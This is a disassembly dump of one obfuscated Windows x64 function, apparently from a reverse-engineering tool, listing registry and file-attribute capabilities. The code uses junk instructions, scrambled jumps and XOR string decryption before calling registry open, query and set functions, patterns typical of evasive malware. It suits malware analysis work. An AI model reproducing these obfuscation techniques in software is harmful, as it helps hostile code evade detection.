Function at 0x14000b930
Capabilities:
Query or enumerate registry value
Set file attributes
Set registry value

Disassembly:
xchg rsp, rax
mov rsp, rax
xchg rsp, rax
jmp 0x14000c42e
pxor xmm2, xmm0
xchg r9, r9
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
jmp 0x14000bb26
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
mov dword [rsp - 0x38], 0x5452b817
movd xmm0, edx
jmp 0x14000ba09
xor ebx, ebx
mov r8d, ebx
lea r15d, [r14 - 1]
mov dword [rsp - 0x10], 0x209184b7
jmp 0x14000c5f0
add eax, 0x186c6c85
add eax, 0x2db0e52d
imul r8d
mov dword [rsp - 0x34], 0x27a3546
sar edx, 2
sar edx, 2
jmp 0x14000bcf2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x40], 0x34577863
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x14000c1cc
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
mov r10, r10
jmp 0x14000b954
cmp r8d, 0x3a
jl 0x14000c026
lea rax, [rbp - 0x50]
mov dword [rsp - 0x24], 0x15b72fa4
mov qword [rsp + 0x20], rax
jmp 0x14000bc73
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
xchg rsi, rsi
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
jmp 0x14000bf92
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
mov dword [rsp - 0x34], esi
pshufhw xmm1, xmm0, 0xd8
jmp 0x14000bff0
xchg r15, rbp
movups xmmword [r15 - 0x80], xmm1
xchg rbp, r15
movups xmm0, xmmword [0x14010bdb8]
xchg rdx, rbp
jmp 0x14000c0a4
xor rcx, 0x50beb377
add rcx, 0x448113e
add rcx, 0x2f24e4b1
add rcx, 0x2976e697
add rcx, 0x7fffffff
xor rcx, 0x7bb2a4d5
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x14000c26c
mov dword [rsp - 0x34], 0x5b8d1ce9
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
jmp 0x14000bd45
movsxd rax, r8d
lea r9, [rsp + 0x50]
xchg r9, r9
add r9, rax
jmp 0x14000c2ab
add eax, 0x9d103c4
xor eax, 0x6e162b8e
xor eax, 0x5c82df37
sub al, dl
movsx eax, al
mov r10, r10
imul ecx, eax, 0x32
jmp 0x14000bba6
xchg rsp, rsp
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
mov dword [rsp - 0x14], edx
jmp 0x14000bfab
nop dword [rax]
nop word [rax + rax]
mov eax, 0x45d881a9
xor eax, 0x5038bada
xor eax, 0x5b65ed80
add eax, 0x294872f7
sub eax, 0x3e2f9d51
jmp 0x14000c207
mov dword [rsp - 0x2c], 0xd8b71ee
cmp r8d, 0x18
jl 0x14000c7e4
jmp 0x14000bc93
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
mov dword [rsp - 0x3c], 0x56b27596
lea rcx, [rcx + 0x10]
cmp edx, 0x20
jmp 0x14000bb81
movabs rcx, 0xffffffff0f9ce521
add rcx, 0x480eeca3
sub rcx, 0x49c01970
xor rcx, 0x439bc371
jmp 0x14000ba5c
jl 0x14000c509
jmp 0x14000cf27
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0x1c], ebx
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
jmp 0x14000c0f4
add cl, r8b
xor byte [r9], cl
mov dword [rsp - 0x3c], ebp
jmp 0x14000bc0b
mov qword [rsp - 8], r15
sub rsp, 8
lea rbp, [rax - 0xbd8]
mov dword [rsp - 0xc], 0x7732f9ab
add rsp, 0x43aeb0f0
sub rsp, 0x43aebdb0
jmp 0x14000c74e
test eax, eax
je 0x14000cf31
xchg rdi, rdi
movups xmm0, xmmword [0x14010be20]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14010be30]
mov dword [rsp - 0x1c], 0x253f8cc4
jmp 0x14000c1a1
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x14000c2b9
mov rdx, rdx
lea rax, [rbp - 0x44]
jmp 0x14000c3c2
jl 0x14000c372
cmp r8d, 0x3a
jge 0x14000b9f3
xchg r8, r8
movsxd rax, r8d
lea r9, [rsp + 0x70]
jmp 0x14000c012
mov dword [rsp - 0x18], 0xd5857f2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x14000c7a0
paddd xmm0, xmm1
xchg rbp, rbp
pmulld xmm0, xmm7
jmp 0x14000b9d8
mov r9d, 0x4cfd6fe4
xor r9d, 0x69817bb9
sub r9d, 0xe052b15
xor r9d, 0x154b9cbf
jmp 0x14000c728
cmp r8d, 0x1b
mov dword [rsp - 0x38], edi
jge 0x14000bcca
movsxd rax, r8d
lea r9, [rsp + 0x50]
mov dword [rsp - 0x40], edi
add r9, rax
jmp 0x14000bafa
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
mov dword [rsp - 0x3c], ebp
jl 0x14000bb08
mov dword [rsp + 0x28], r15d
lea rax, [rbp - 0x48]
jmp 0x14000c29b
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
mov dword [rsp - 0x30], 0x5ca6a53c
shufps xmm1, xmm0, 0xdd
jmp 0x14000c494
mov eax, edx
shr eax, 0x11
shr eax, 4
shr eax, 3
jmp 0x14000c7b5
xor r8d, r8d
lea rdx, [rsp + 0x50]
xchg rcx, rsp
mov rsp, qword [rbp - 0x50]
xchg rcx, rsp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
jmp 0x14000c591
mov r13, r13
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x14000c1e8
imul r8d
sar edx, 4
mov dword [rsp - 0x2c], 0x715ead9d
mov eax, edx
jmp 0x14000c7c1
movd xmm0, edx
mov r13, r13
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
xchg r8, r8
movd dword [rcx - 4], xmm2
jmp 0x14000c5c3
mov dword [rsp - 0x20], ecx
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
jmp 0x14000ba91
movsd qword [rbx + 0x60], xmm1
xchg rsp, rbx
movzx eax, word [0x14010bdf0]
mov word [rsp + 0x68], ax
jmp 0x14000c3a8
xor r8d, r8d
xchg rdi, rdi
lea rdx, [rsp + 0x50]
xchg rdi, rcx
mov rdi, qword [rbp - 0x50]
xchg rdi, rcx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x14000bbe0
xor dword [rbp - 0x48], 0x4f34e939
sub dword [rbp - 0x48], 0x155197e8
sub dword [rbp - 0x48], 0x3396e82
mov r14d, 0x9636c6f
xor r14d, 0x4f170090
add r14d, 0x18a5edd5
jmp 0x14000c695
movdqa xmm0, xmmword [0x14010c310]
mov rsp, rsp
xchg rcx, rsp
movdqa xmmword [rcx + 0x30], xmm0
xchg rcx, rsp
jmp 0x14000c7d1
xchg r14, r14
imul ecx, eax, 0x32
add cl, r8b
xor byte [r9], cl
mov dword [rsp - 0x1c], esp
jmp 0x14000bcb5
xchg r9, rax
movaps xmmword [rax - 0x48], xmm8
mov dword [rsp - 0x30], 0x268e2867
xchg r14, rax
movaps xmmword [r14 - 0x58], xmm9
xchg r14, rax
mov rax, qword [0x140248220]
jmp 0x14000c2ef
nop
sub r8d, 0x453b2af9
add r8d, 0x453b2b01
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000c52e
jmp 0x14000c350
mov r11, r11
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x14000c56e
movd xmm8, r12d
movdqa xmm0, xmmword [0x14010c310]
mov dword [rsp - 0x14], edx
xchg rdi, rsp
movdqa xmmword [rdi + 0x30], xmm0
xchg rdi, rsp
jmp 0x14000c248
xchg rsp, r11
movsd qword [r11 + 0x60], xmm1
xchg r11, rsp
movzx eax, word [0x14010be10]
xchg r15, r15
mov word [rsp + 0x68], ax
movzx eax, byte [0x14010be12]
jmp 0x14000c5e1
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x14000bd1f
cmp esi, 2
jl 0x14000c807
xchg rsi, rsi
movdqa xmm5, xmmword [0x14010c2c0]
mov edx, ebx
movdqa xmm4, xmmword [0x14010c320]
movd xmm6, r15d
jmp 0x14000c33b
xchg r11, r11
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xchg r10, r10
pmuldq xmm0, xmm4
jmp 0x14000b9b1
movups xmm0, xmmword [0x14010bdd8]
xchg rbp, rsp
movups xmmword [rbp + 0x50], xmm0
jmp 0x14000c55b
movups xmm1, xmmword [0x14010be50]
xchg rbp, r10
movups xmmword [r10 - 0x60], xmm1
xchg rbp, r10
mov r8d, ebx
jmp 0x14000bec5
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
mov dword [rsp - 0x24], ebp
jmp 0x14000bfd2
pxor xmm2, xmm0
mov r11, r11
movd dword [rcx], xmm2
jmp 0x14000bf73
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
xchg rsp, rsp
movd dword [rcx - 4], xmm2
jmp 0x14000c11b
neg r8d
add r8d, 0xfffffff8
neg r8d
lea rcx, [rcx + 8]
cmp r8d, 0x38
mov dword [rsp - 0xc], 0xe0bc54e
jmp 0x14000bc28
mov rdx, rdx
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
jmp 0x14000beed
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
mov dword [rsp - 0x30], 0x5b8707e6
movd xmm0, edx
jmp 0x14000bf59
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
mov dword [rsp - 0x14], edx
punpckhdq xmm0, xmm2
jmp 0x14000c631
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
mov dword [rsp - 0x18], 0x35ed3aa7
movd xmm0, edx
jmp 0x14000c5aa
add r9, rax
mov r11, r11
nop dword [rax]
nop word [rax + rax]
mov eax, 0x546f12f7
add eax, 0x59265dd
xor eax, 0x506748fe
jmp 0x14000c4b2
mov dword [rsp - 0x3c], 0x24b205d5
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
jmp 0x14000be5b
push r14
xchg rdi, rdi
nop
jmp 0x14000bbb5
mov dword [rsp - 0x2c], ecx
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
mov rbp, rbp
shufps xmm1, xmm0, 0xdd
jmp 0x14000beb3
add eax, 0x410280f9
sub eax, 0x4bb3da52
sub al, dl
mov dword [rsp - 0x44], 0x1b884971
movsx eax, al
imul ecx, eax, 0x32
jmp 0x14000c174
movups xmmword [rdx - 0x70], xmm0
xchg rdx, rbp
movsd xmm1, qword [0x14010bdc8]
xchg rbp, r14
movsd qword [r14 - 0x60], xmm1
jmp 0x14000c64f
movdqa xmm4, xmmword [0x14010c320]
movd xmm6, r15d
mov r13, r13
movdqa xmm7, xmmword [0x14010c2e0]
jmp 0x14000be6b
cmp esi, 2
jl 0x14000bca1
movdqa xmm5, xmmword [0x14010c2c0]
jmp 0x14000c226
movd xmm0, edx
mov dword [rsp - 0x44], edi
paddb xmm2, xmm0
movd xmm0, dword [rcx]
jmp 0x14000bf49
paddd xmm0, xmm1
mov dword [rsp - 0x2c], ebp
pmulld xmm0, xmm7
jmp 0x14000ba2b
lea eax, [r8 + 4]
movd xmm3, eax
xchg rcx, rcx
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
xchg r8, r8
jmp 0x14000c7ee
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov dword [rsp - 0x40], 0x57fbd241
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x14000c763
movdqa xmm9, xmmword [0x14010c2f0]
lea rcx, [rsp + 0x70]
xchg rdi, rdi
jmp 0x14000c501
add cl, r8b
mov dword [rsp - 0xc], ecx
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
xchg rdi, rdi
jmp 0x14000b9e9
xchg rdi, rsp
movsd xmm1, qword [0x14010be08]
mov dword [rsp - 0x34], ebx
jmp 0x14000be8c
xchg rbp, r10
movups xmmword [r10 - 0x80], xmm1
xchg rbp, r10
movups xmm0, xmmword [0x14010be40]
jmp 0x14000c1b8
mov dword [rsp - 0x30], ecx
xchg r13, rbp
movups xmmword [r13 - 0x70], xmm0
xchg r13, rbp
jmp 0x14000bf1d
psubd xmm3, xmm0
mov dword [rsp - 0x18], edi
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
jmp 0x14000c43e
psubd xmm2, xmm0
mov dword [rsp - 0x10], edx
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
xchg r10, r10
jmp 0x14000c3e0
sub eax, 0x3577d54
sub eax, 0x29eefd59
add eax, 0x72a5751e
sub eax, 0x2d1221eb
imul r8d
sar edx, 4
jmp 0x14000c259
movdqa xmm4, xmmword [0x14010c320]
xchg rdx, rdx
movd xmm6, r15d
movdqa xmm7, xmmword [0x14010c2e0]
movd xmm8, r12d
jmp 0x14000bde5
lea rcx, [rsp + 0x74]
xchg rcx, rcx
mov edx, dword [rsp + 0x30]
jmp 0x14000c367
xchg rbp, rbp
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rsp - 0x40], edi
jmp 0x14000c4c6
mov dword [rsp - 0x30], esp
test eax, eax
jne 0x14000c84c
mov dword [rbp - 0x44], r15d
mov dword [rsp - 0x18], ebx
jmp 0x14000bf0a
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov rsp, rsp
jmp 0x14000c38d
xchg r11, r11
mov qword [rsp + 0x20], rax
mov r9d, r15d
jmp 0x14000bd97
nop dword [rax]
nop word [rax + rax]
mov eax, 0x246fe78d
xor eax, 0x3ddc616
xor eax, 0xf207433
sub eax, 0x1cc4223b
jmp 0x14000b991
shr eax, 1
add edx, eax
mov eax, 0x6e153850
sub eax, 0x6b420ccd
add eax, 0x571f42cd
sub eax, 0x4f4114f6
jmp 0x14000c085
mov rbx, rbx
xor rax, rsp
mov qword [rbp + 0xb70], rax
mov dword [rbp - 0x48], 0x44b18829
sub dword [rbp - 0x48], 0x3b3154a4
xor dword [rbp - 0x48], 0x325d9cdc
add dword [rbp - 0x48], 0x1be23ffd
jmp 0x14000bdb7
xchg rsp, rsp
jl 0x14000baaa
movdqa xmm5, xmmword [0x14010c2c0]
movdqa xmm4, xmmword [0x14010c320]
jmp 0x14000c66a
xchg rsp, rsp
movdqa xmm7, xmmword [0x14010c2e0]
movd xmm8, r12d
jmp 0x14000c15e
mov dword [rsp - 0x34], 0x67e2b614
cmp r8d, 0x1b
jge 0x14000bc1f
jmp 0x14000baaa
nop word [rax + rax]
movd xmm2, r8d
mov dword [rsp - 0x30], 0x30c9d3c4
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
jmp 0x14000c400
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xchg r12, r12
jmp 0x14000bb3d
movzx eax, byte [0x14010bdf2]
mov dword [rsp - 0x3c], ebp
mov byte [rsp + 0x6a], al
mov r8d, ebx
cmp esi, 2
jmp 0x14000c31d
xchg r15, rax
mov qword [rsp + 0x28], r15
xchg r15, rax
lea rax, [rbp - 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov dword [rsp - 0x44], esi
jmp 0x14000bd02
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
pxor xmm3, xmm0
mov r10, r10
movq qword [rcx], xmm3
lea eax, [rdx + 4]
jmp 0x14000c53d
movdqa xmm1, xmm2
mov rbp, rbp
punpckldq xmm1, xmm2
jmp 0x14000c13b
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
xchg rdx, rdx
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x14000c109
mov qword [rax + 8], rbx
mov rbp, rbp
mov qword [rax + 0x10], rsi
jmp 0x14000c463
mov dword [rsp - 0x20], ebx
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
movd xmm0, edx
mov dword [rsp - 0x38], esp
paddb xmm2, xmm0
movd xmm0, dword [rcx]
jmp 0x14000b93c
xchg rdi, rsi
mov qword [rax + 0x18], rsi
xchg rsi, rdi
mov qword [rax + 0x20], r12
nop
push 0x3ef2303d
mov qword [rsp], rbp
jmp 0x14000c058
xchg r9, rsp
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x30]
mov r15, r15
jmp 0x14000c526
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov rsp, rsp
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x14000c6c7
xor eax, 0x4914b76a
add eax, 0x110f26fe
sub eax, 0x296291f
jmp 0x14000bd30
mov eax, 0x8208258
add eax, 0x6dd40ec0
sub eax, 0x4fe68262
jmp 0x14000c70a
movdqa xmm0, xmm1
mov dword [rsp - 0x20], 0x6b2ef6bd
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov dword [rsp - 0x30], 0x58e0ec4a
jmp 0x14000c285
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
xchg rsp, rsp
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
jmp 0x14000c063
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
jmp 0x14000c03a
movd xmm2, eax
mov dword [rsp - 0x34], edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
jmp 0x14000bc48
xchg rsp, rbp
movsd xmm1, qword [0x14010bde8]
xchg rsp, rbx
jmp 0x14000bd7e
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0xc], 0x2348ced1
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x14000badc
test eax, eax
mov dword [rsp - 0x44], 0x5e7a6046
jne 0x14000cf31
mov r14d, dword [rbp - 0x48]
jmp 0x14000c786
paddb xmm2, xmm0
movd xmm0, dword [rcx]
mov dword [rsp - 0x3c], ecx
pxor xmm2, xmm0
movd dword [rcx], xmm2
jmp 0x14000be39
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
mov dword [rsp - 0xc], esi
paddd xmm3, xmm5
movdqa xmm1, xmm3
jmp 0x14000c6f5
mov byte [rsp + 0x6a], al
mov r8d, ebx
xchg rbp, rbp
jmp 0x14000c0de
lea r12d, [r14 + 0x1a]
mov esi, dword [0x140248200]
cmp esi, 2
xchg r11, r11
jl 0x14000bc3b
movdqa xmm5, xmmword [0x14010c2c0]
jmp 0x14000c0c1
add edx, eax
mov dword [rsp - 0x3c], 0x292be23f
mov eax, 0x74aa08ca
xor eax, 0x6ec883d7
add eax, 0xe6165d7
jmp 0x14000babd
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov r10, r10
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x14000bc62
xchg r14, rbp
movzx eax, word [0x14010bdd0]
mov dword [rsp - 0x18], 0xfaba7d2
mov word [rbp - 0x58], ax
jmp 0x14000b97b
movd xmm6, r15d
xchg r10, r10
movdqa xmm7, xmmword [0x14010c2e0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x14010c310]
xchg rsp, r9
movdqa xmmword [r9 + 0x30], xmm0
jmp 0x14000c480
sub r14d, 0x4036720
xor r14d, 0x2af1fba5
xor r14d, 0x6be074a6
add r14d, 0x2a5a48c3
sub r14d, 0x4461c575
movups xmm0, xmmword [0x14010bd98]
xchg rsi, rsp
jmp 0x14000c6e2
mov dword [rsp - 0x30], 0x1098eff4
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x14000bb8c
movups xmmword [rsi + 0x70], xmm0
xchg rsi, rsp
movups xmm1, xmmword [0x14010bda8]
jmp 0x14000ba42
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
xchg rbx, rbx
movdqa xmm0, xmm3
jmp 0x14000bcd8
xor eax, 0x2adc229
xor eax, 0x3b8c0b8e
xor eax, 0x38e1d05b
xor eax, 0x27ce174b
sub al, dl
movsx eax, al
jmp 0x14000be00
xor r9d, 0x138a0ef7
add r9d, 0x6cc2a9bf
xor r9d, 0x7e752480
xor r8d, r8d
lea rdx, [rsp + 0x70]
xchg rdx, rdx
nop
jmp 0x14000bb5d
xchg r8, rax
movaps xmmword [r8 - 0x28], xmm6
xchg r8, rax
xchg r9, rax
movaps xmmword [r9 - 0x38], xmm7
jmp 0x14000be15
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x1c], ebx
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x14000bd66
mov dword [rbp - 0x48], ebx
movups xmm0, xmmword [str.qZFSYLiHTQMJ__5_4]
mov dword [rsp - 0xc], esi
xchg rdi, rsp
movups xmmword [rdi + 0x50], xmm0
jmp 0x14000c18d
mov rdi, rdi
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x14000c4da
shr eax, 5
shr eax, 1
shr eax, 1
jmp 0x14000c613
shr eax, 0x15
shr eax, 4
shr eax, 4
shr eax, 1
jmp 0x14000c2d2
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x30]
mov dword [rsp - 0x3c], 0x60695fde
nop
movd xmm2, r8d
jmp 0x14000bf37
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
xchg r11, r11
punpckhdq xmm0, xmm3
jmp 0x14000c410
lea r9, [rsp + 0x70]
nop
mov dword [rsp - 0x34], 0x617608ba
jmp 0x14000d1e5
lea rax, [rbp + 0x120]
xchg r15, r15
nop
jmp 0x14000cfdc
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x14010be60]
xchg rsp, rbx
movups xmmword [rbx + 0x70], xmm0
xchg rsp, rbx
movups xmm1, xmmword [0x14010be70]
xchg rbx, rbp
jmp 0x14000d973
mov dword [rsp - 0x3c], 0x7d1b6aea
mov r8d, dword [rsp + 0x30]
nop
movd xmm2, ecx
jmp 0x14000dc47
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
xchg rdi, rdi
punpckhdq xmm0, xmm2
jmp 0x14000d90b
imul edx, eax, 0x32
mov dword [rsp - 0x44], 0x3850c541
add dl, cl
xor byte [r8], dl
jmp 0x14000d796
sub rdx, 0x81d5e5
mov rcx, qword [rcx - 8]
xchg r11, r11
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000debd
jmp 0x14000cc40
neg ecx
lea rdx, [rdx + 8]
cmp ecx, 0x28
jmp 0x14000d470
xor eax, 0x38563418
xor eax, 0xc902d2c
add eax, 0x3819afe0
imul r8d
sar edx, 3
jmp 0x14000ca21
sub dword [rsp + 0x28], 0x216ac7ae
add dword [rsp + 0x28], 0x1170dd44
xor dword [rsp + 0x28], 0x2b782c42
mov dword [rsp + 0x20], 0x3f5c2474
sub dword [rsp + 0x20], 0x21f961e1
add dword [rsp + 0x20], 0x4e265ccb
jmp 0x14000c971
mov eax, 0x63ea4056
xor eax, 0x1760e945
sub eax, 0x66d3715a
jmp 0x14000d4e7
imul ecx, eax, 0x32
add cl, r8b
xor byte [r10], cl
jmp 0x14000d5a3
sub dword [rsp + 0x20], 0x387b6657
xor dword [rsp + 0x20], 0x51e1dc4
sub dword [rsp + 0x20], 0x33c3cc34
sub dword [rsp + 0x20], 0x24fd88a
mov edx, 0x3643b6a9
jmp 0x14000cde0
lea rcx, [rsp + 0x50]
mov rsi, rsi
call fcn.14000e060
nop
lea rdx, [rsp + 0x50]
mov dword [rsp - 0x38], 0x62b66b9e
lea rcx, [rbp - 0x40]
jmp 0x14000cb96
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0x10], 0x7a937834
pand xmm2, xmmword [0x14010c300]
jmp 0x14000ce7d
mov qword [rbp + 0x10], r9
xchg r9, rax
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 0x264c851a
xor qword [rsp + 0x68], 0x446808ba
jmp 0x14000d9e8
sar edx, 1
mov eax, edx
shr eax, 0x17
shr eax, 7
jmp 0x14000ddeb
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x20
jmp 0x14000cf1d
add rcx, 0x13cc89db
sub rcx, 0x615272a4
xor rcx, 0x48ff3b7d
jmp 0x14000d3e3
add eax, 0x86958b2
xor eax, 0x4e073777
sub eax, 0x16108dc
jmp 0x14000d0ca
xchg rbp, rdi
movups xmmword [rdi - 0x80], xmm1
xchg rdi, rbp
movzx eax, byte [0x14010bec8]
mov rsp, rsp
mov byte [rbp - 0x70], al
jmp 0x14000d662
xor ax, 0x36
mov word [rsp + 0x38], ax
mov rdi, rdi
lea r9, [rbp + 0x120]
jmp 0x14000d775
shr eax, 1
add edx, eax
mov eax, 0x26067ce4
jmp 0x14000cd5e
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
mov dword [rsp - 0x28], 0x2c42ad8c
jmp 0x14000cb11
mov dword [rsp - 0x18], edi
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
movd xmm0, r8d
mov rsp, rsp
jmp 0x14000d987
xor eax, 0x21062c8b
add eax, 0x3b645b41
mul r8d
shr edx, 2
shr edx, 2
jmp 0x14000dbe4
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
mov dword [rsp - 0x34], ebp
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x14000d644
inc r8d
lea r9, [r9 + 2]
mov dword [rsp - 0x18], 0x65cd26bb
cmp r8d, 0xc
jl 0x14000d4ce
jmp 0x14000dd6c
movsd xmm0, qword [0x14010bf00]
mov dword [rsp - 0x18], edx
xchg r10, rbp
movsd qword [r10 - 0x70], xmm0
xchg rbp, r10
mov eax, dword [0x14010bf08]
jmp 0x14000d601
sub eax, 0x88df890
xor eax, 0x4c7857d8
sub eax, 0x7c0e91bd
sub ax, dx
mov dword [rsp - 0x20], 0x45e47a5a
movzx eax, ax
imul ecx, eax, 0x32
jmp 0x14000d228
call fcn.1400a18a0
nop
mov rdx, qword [rsp + 0x68]
mov rbp, rbp
cmp rdx, 8
jb 0x14000cc4d
lea rdx, [rdx*2 + 2]
jmp 0x14000d2e9
xor ecx, 0x7a65c1b8
add ecx, 0x2aefff06
sub ecx, 0x25747864
sub ecx, 0x1267c29a
jmp 0x14000de83
lea rcx, [rbp - 0x40]
mov rbp, rbp
call fcn.1400a1a30
jmp 0x14000dc20
call fcn.140005e80
xorps xmm0, xmm0
mov rdx, rdx
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
xchg r12, rbp
jmp 0x14000d4a8
movdqa xmm2, xmmword [0x14010c2c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
mov dword [rsp - 0x38], ecx
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x14000d1a2
movzx eax, word [0x14010be8c]
mov word [rbp - 0x64], ax
mov dword [rsp - 0x44], 0x6a4f6920
jmp 0x14000dc5d
mov dword [rsp - 0x24], 0x7bd9ae67
call fcn.1400dcd18
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 0x54f0ffcb
xor qword [rsp + 0x68], 0xf0052be
jmp 0x14000dd9b
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
mov dword [rsp - 0x30], edx
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x14000cd46
sub r8d, 0x15ae6ca1
xor r8d, 0x777251bf
sub r8d, 0x6df9963d
lea rcx, [rbp + 0x120]
call fcn.1400df580
movups xmm0, xmmword [0x14010be90]
mov dword [rsp - 0x14], 0x517dc1e7
jmp 0x14000dced
xchg r14, r14
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
jmp 0x14000cfa5
inc r8
mov dword [rsp - 0x24], ebx
cmp word [rax + r8*2], bx
jne 0x14000ccce
lea rdx, [rbp + 0x120]
jmp 0x14000c99b
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x14000d8fb
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
movd xmm0, edx
xchg r15, r15
jmp 0x14000d921
movd xmm8, r12d
